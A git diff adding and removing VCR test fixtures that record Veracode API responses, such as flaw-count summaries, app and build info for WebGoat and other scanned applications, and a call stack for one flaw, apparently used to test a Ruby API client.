-        <category categoryname="Directory Traversal" severity="Very High" count="1"/>
-
-        <category categoryname="Insufficient Input Validation" severity="Very High"
-        count="1"/>
-
-        </severity>
-
-        <severity level="4">
-
-        <category categoryname="SQL Injection" severity="High" count="22"/>
-
-        </severity>
-
-        <severity level="3">
-
-        <category categoryname="Cross-Site Scripting (XSS)" severity="Medium" count="127"/>
-
-        <category categoryname="CRLF Injection" severity="Medium" count="6"/>
-
-        <category categoryname="Code Quality" severity="Medium" count="4"/>
-
-        <category categoryname="Directory Traversal" severity="Medium" count="4"/>
-
-        <category categoryname="Credentials Management" severity="Medium" count="2"/>
-
-        <category categoryname="Insufficient Input Validation" severity="Medium" count="2"/>
-
-        <category categoryname="Encapsulation" severity="Medium" count="1"/>
-
-        <category categoryname="Cryptographic Issues" severity="Medium" count="1"/>
-
-        <category categoryname="Race Conditions" severity="Medium" count="1"/>
-
-        </severity>
-
-        <severity level="2">
-
-        <category categoryname="API Abuse" severity="Low" count="5"/>
-
-        <category categoryname="Cryptographic Issues" severity="Low" count="5"/>
-
-        <category categoryname="Code Quality" severity="Low" count="4"/>
-
-        </severity>
-
-        <severity level="1"/>
-
-        <severity level="0"/>
-
-        <flaw-status new="190" reopen="0" open="0" fixed="0" total="190" not_mitigated="190"
-        sev-1-change="0" sev-2-change="14" sev-3-change="148" sev-4-change="22" sev-5-change="6"/>
-
-        </summaryreport>
-
-'
-    http_version: 
-  recorded_at: Wed, 06 Jun 2012 22:41:58 GMT
-- request:
-    method: get
-    uri: https://test:test0@analysiscenter.veracode.com/api/4.0/getappinfo.do?app_id=32338
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=A0033CE0C654E8CD5CE37D5AC09B9AA2; Path=/; Secure
-      - JSESSIONID=D1193E4F0EBA5FC9AE3B34AA635CC2D6; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Fri, 28 Dec 2012 00:41:38 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <appinfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/appinfo"
-        xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/appinfo
-        https://analysiscenter.veracode.com/resource/2.0/appinfo.xsd" account_id="15834">
-
-        <application app_id="32338" app_name="WebGoat" description="WebGoat is a teaching
-        web application illustrating common web vulnerabilities." business_criticality="Very
-        High" policy="Veracode Transitional Very High" teams="" origin="Open Source"
-        industry_vertical="Other" app_type="Other" deployment_method="Not Specified"
-        is_web_application="true" modified_date="2012-03-01T10:03:59-05:00" cots="false"
-        business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        </application>
-
-        </appinfo>
-
-'
-    http_version: 
-  recorded_at: Fri, 28 Dec 2012 00:41:38 GMT
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/4.0/getbuildinfo.do?app_id=32338&build_id=44905
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=689834BA39FE993454C92F56DABA5B8F; Path=/; Secure
-      - JSESSIONID=728A82312AC42990254151DB064AE12B; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Fri, 28 Dec 2012 00:41:39 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <buildinfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/4.0/buildinfo"
-        xsi:schemaLocation="https://analysiscenter.veracode.com/schema/4.0/buildinfo
-        https://analysiscenter.veracode.com/resource/4.0/buildinfo.xsd" account_id="15834"
-        app_id="32338" build_id="44905">
-
-        <build version="5.0" build_id="44905" submitter="Veracode" platform="Java"
-        lifecycle_stage="External or Beta Testing" results_ready="true" policy_name="Veracode
-        Transitional Very High" policy_version="1" policy_compliance_status="Did Not
-        Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:26:18-05:00"
-        published_date_sec="1330611978" status="Results Ready"/>
-
-        <analysis_unit analysis_type="Dynamic" published_date="2012-03-01T10:03:50-05:00"
-        published_date_sec="1330614230" status="Results Ready"/>
-
-        <analysis_unit analysis_type="Manual" published_date="2012-03-01T09:59:14-05:00"
-        published_date_sec="1330613954" status="Results Ready"/>
-
-        </build>
-
-        </buildinfo>
-
-'
-    http_version: 
-  recorded_at: Fri, 28 Dec 2012 00:41:40 GMT
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/4.0/getappinfo.do?app_id=32338
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=AC79A79FE8F278628C9413352ABA3EDA; Path=/; Secure
-      - JSESSIONID=B4C7CD19AC64B62199ABCDF935E6F329; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Fri, 28 Dec 2012 00:48:32 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <appinfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/appinfo"
-        xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/appinfo
-        https://analysiscenter.veracode.com/resource/2.0/appinfo.xsd" account_id="15834">
-
-        <application app_id="32338" app_name="WebGoat" description="WebGoat is a teaching
-        web application illustrating common web vulnerabilities." business_criticality="Very
-        High" policy="Veracode Transitional Very High" teams="" origin="Open Source"
-        industry_vertical="Other" app_type="Other" deployment_method="Not Specified"
-        is_web_application="true" modified_date="2012-03-01T10:03:59-05:00" cots="false"
-        business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        </application>
-
-        </appinfo>
-
-'
-    http_version: 
-  recorded_at: Fri, 28 Dec 2012 00:48:32 GMT
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/4.0/getbuildinfo.do?app_id=32338&build_id=44905
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=A943D07F8F4AAA47113395890027CD5F; Path=/; Secure
-      - JSESSIONID=F9275C069942333505F9D1BB8C2AAC72; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Fri, 28 Dec 2012 00:48:34 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <buildinfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/4.0/buildinfo"
-        xsi:schemaLocation="https://analysiscenter.veracode.com/schema/4.0/buildinfo
-        https://analysiscenter.veracode.com/resource/4.0/buildinfo.xsd" account_id="15834"
-        app_id="32338" build_id="44905">
-
-        <build version="5.0" build_id="44905" submitter="Veracode" platform="Java"
-        lifecycle_stage="External or Beta Testing" results_ready="true" policy_name="Veracode
-        Transitional Very High" policy_version="1" policy_compliance_status="Did Not
-        Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:26:18-05:00"
-        published_date_sec="1330611978" status="Results Ready"/>
-
-        <analysis_unit analysis_type="Dynamic" published_date="2012-03-01T10:03:50-05:00"
-        published_date_sec="1330614230" status="Results Ready"/>
-
-        <analysis_unit analysis_type="Manual" published_date="2012-03-01T09:59:14-05:00"
-        published_date_sec="1330613954" status="Results Ready"/>
-
-        </build>
-
-        </buildinfo>
-
-'
-    http_version: 
-  recorded_at: Fri, 28 Dec 2012 00:48:34 GMT
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/4.0/getappinfo.do?app_id=32338
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=0F9F741C1F9F28C3BA8CC599822F2309; Path=/; Secure
-      - JSESSIONID=19EE1A474A6325BEA3E74A568412C8F5; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Fri, 28 Dec 2012 01:19:47 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <appinfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/appinfo"
-        xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/appinfo
-        https://analysiscenter.veracode.com/resource/2.0/appinfo.xsd" account_id="15834">
-
-        <application app_id="32338" app_name="WebGoat" description="WebGoat is a teaching
-        web application illustrating common web vulnerabilities." business_criticality="Very
-        High" policy="Veracode Transitional Very High" teams="" origin="Open Source"
-        industry_vertical="Other" app_type="Other" deployment_method="Not Specified"
-        is_web_application="true" modified_date="2012-03-01T10:03:59-05:00" cots="false"
-        business_unit="Not Specified" tags="">
-
-        <customfield name="Custom 1" value=""/>
-
-        <customfield name="Custom 2" value=""/>
-
-        <customfield name="Custom 3" value=""/>
-
-        <customfield name="Custom 4" value=""/>
-
-        <customfield name="Custom 5" value=""/>
-
-        </application>
-
-        </appinfo>
-
-'
-    http_version: 
-  recorded_at: Fri, 28 Dec 2012 01:19:47 GMT
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/4.0/getapplist.do
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=1EE0A29377623DFBE6BA6A3436F2394A; Path=/; Secure
-      - JSESSIONID=6F94C2819AD0611429D8A0EEC828248C; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Fri, 28 Dec 2012 01:19:48 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <applist xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applist"
-        xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applist
-        https://analysiscenter.veracode.com/resource/2.0/applist.xsd" account_id="15834">
-
-        <app app_id="33715" app_name="Ajax-Login"/>
-
-        <app app_id="32346" app_name="Apache"/>
-
-        <app app_id="41311" app_name="Auth Service"/>
-
-        <app app_id="32344" app_name="BlogEngine.NET"/>
-
-        <app app_id="32347" app_name="Galleon"/>
-
-        <app app_id="32333" app_name="Hadoop"/>
-
-        <app app_id="32345" app_name="HSQLdb"/>
-
-        <app app_id="33136" app_name="iGoat"/>
-
-        <app app_id="32343" app_name="iOS Traveler"/>
-
-        <app app_id="32342" app_name="Lunar Lander"/>
-
-        <app app_id="32335" app_name="Metamail"/>
-
-        <app app_id="32339" app_name="midpssh-BB"/>
-
-        <app app_id="32336" app_name="Open SSH"/>
-
-        <app app_id="35247" app_name="Open Web Analytics"/>
-
-        <app app_id="40775" app_name="Pastie"/>
-
-        <app app_id="32363" app_name="PHP Vulnerable Web App (Test)"/>
-
-        <app app_id="32721" app_name="PHP Vulnerable Web App (Test2)"/>
-
-        <app app_id="32341" app_name="phpBB"/>
-
-        <app app_id="32337" app_name="Roller"/>
-
-        <app app_id="36862" app_name="Test Application"/>
-
-        <app app_id="36863" app_name="Test Application 3"/>
-
-        <app app_id="36914" app_name="Test Application 4"/>
-
-        <app app_id="32491" app_name="TEst C App"/>
-
-        <app app_id="32503" app_name="Test C App Preflight"/>
-
-        <app app_id="37693" app_name="VOSAO"/>
-
-        <app app_id="32338" app_name="WebGoat"/>
-
-        </applist>
-
-'
-    http_version: 
-  recorded_at: Fri, 28 Dec 2012 01:19:48 GMT
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/4.0/getbuildinfo.do?app_id=32338&build_id=44905
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=DDCD093388D21E239C7B1E1A6773DCC4; Path=/; Secure
-      - JSESSIONID=FF43022D2935BBD32589AC39193FFECA; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Fri, 28 Dec 2012 01:22:14 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <buildinfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/4.0/buildinfo"
-        xsi:schemaLocation="https://analysiscenter.veracode.com/schema/4.0/buildinfo
-        https://analysiscenter.veracode.com/resource/4.0/buildinfo.xsd" account_id="15834"
-        app_id="32338" build_id="44905">
-
-        <build version="5.0" build_id="44905" submitter="Veracode" platform="Java"
-        lifecycle_stage="External or Beta Testing" results_ready="true" policy_name="Veracode
-        Transitional Very High" policy_version="1" policy_compliance_status="Did Not
-        Pass" rules_status="Did Not Pass" grace_period_expired="false" scan_overdue="false">
-
-        <analysis_unit analysis_type="Static" published_date="2012-03-01T09:26:18-05:00"
-        published_date_sec="1330611978" status="Results Ready"/>
-
-        <analysis_unit analysis_type="Dynamic" published_date="2012-03-01T10:03:50-05:00"
-        published_date_sec="1330614230" status="Results Ready"/>
-
-        <analysis_unit analysis_type="Manual" published_date="2012-03-01T09:59:14-05:00"
-        published_date_sec="1330613954" status="Results Ready"/>
-
-        </build>
-
-        </buildinfo>
-
-'
-    http_version: 
-  recorded_at: Fri, 28 Dec 2012 01:22:14 GMT
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/4.0/getbuildlist.do?app_id=32338
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=57162CBB9652D68F2C92C8CB474F6BD1; Path=/; Secure
-      - JSESSIONID=60B5BAE3476DA4F272679F8BD560E6DD; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Fri, 28 Dec 2012 13:00:22 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <buildlist xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/buildlist"
-        xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/buildlist
-        https://analysiscenter.veracode.com/resource/2.0/buildlist.xsd" account_id="15834"
-        app_id="32338" app_name="WebGoat">
-
-        <build build_id="44905" version="5.0"/>
-
-        </buildlist>
-
-'
-    http_version: 
-  recorded_at: Fri, 28 Dec 2012 13:00:22 GMT
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/2.0/getcallstacks.do?build_id=44905&flaw_id=132
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=2CA6FB985F4BAE2D8E63F4714BAC3EC4; Path=/; Secure
-      - JSESSIONID=8CF06392B3F085E721F8FBEFB5D31A49; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Thu, 24 Jan 2013 23:31:48 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks"
-        xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks
-        https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905"
-        flaw_id="132">
-
-        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="11" local_path="org/owasp/webgoat/util/Exec.java"
-        function_name="execOptions" line_number="103">
-
-        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions"
-        line_number="103"/>
-
-        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions"
-        line_number="103"/>
-
-        <call data_path="9" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple"
-        line_number="455"/>
-
-        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java"
-        function_name="getNetstatResults" line_number="654"/>
-
-        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java"
-        function_name="getNetstatResults" line_number="653"/>
-
-        <call data_path="6" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java"
-        function_name="getNetstatResults" line_number="642"/>
-
-        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java"
-        function_name="getRawParameter" line_number="608"/>
-
-        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java"
-        function_name="getRawParameter" line_number="608"/>
-
-        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java"
-        function_name="getRawParameter" line_number="638"/>
-
-        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java"
-        function_name="getRawParameter" line_number="633"/>
-
-        <call data_path="1" file_path="org/owasp/webgoat/session/ParameterParser.java"
-        function_name="getRawParameter" line_number="627"/>
-
-        </callstack>
-
-        </callstacks>
-
-'
-    http_version: 
-  recorded_at: Thu, 24 Jan 2013 23:31:48 GMT
-recorded_with: VCR 2.2.0
diff --git a/spec/fixtures/veracode_cassettes/builds.yml b/spec/fixtures/veracode_cassettes/builds.yml
new file mode 100644
index 0000000..475b85e
--- /dev/null
+++ b/spec/fixtures/veracode_cassettes/builds.yml
@@ -0,0 +1,8913 @@
+---
+http_interactions:
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:06:31 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
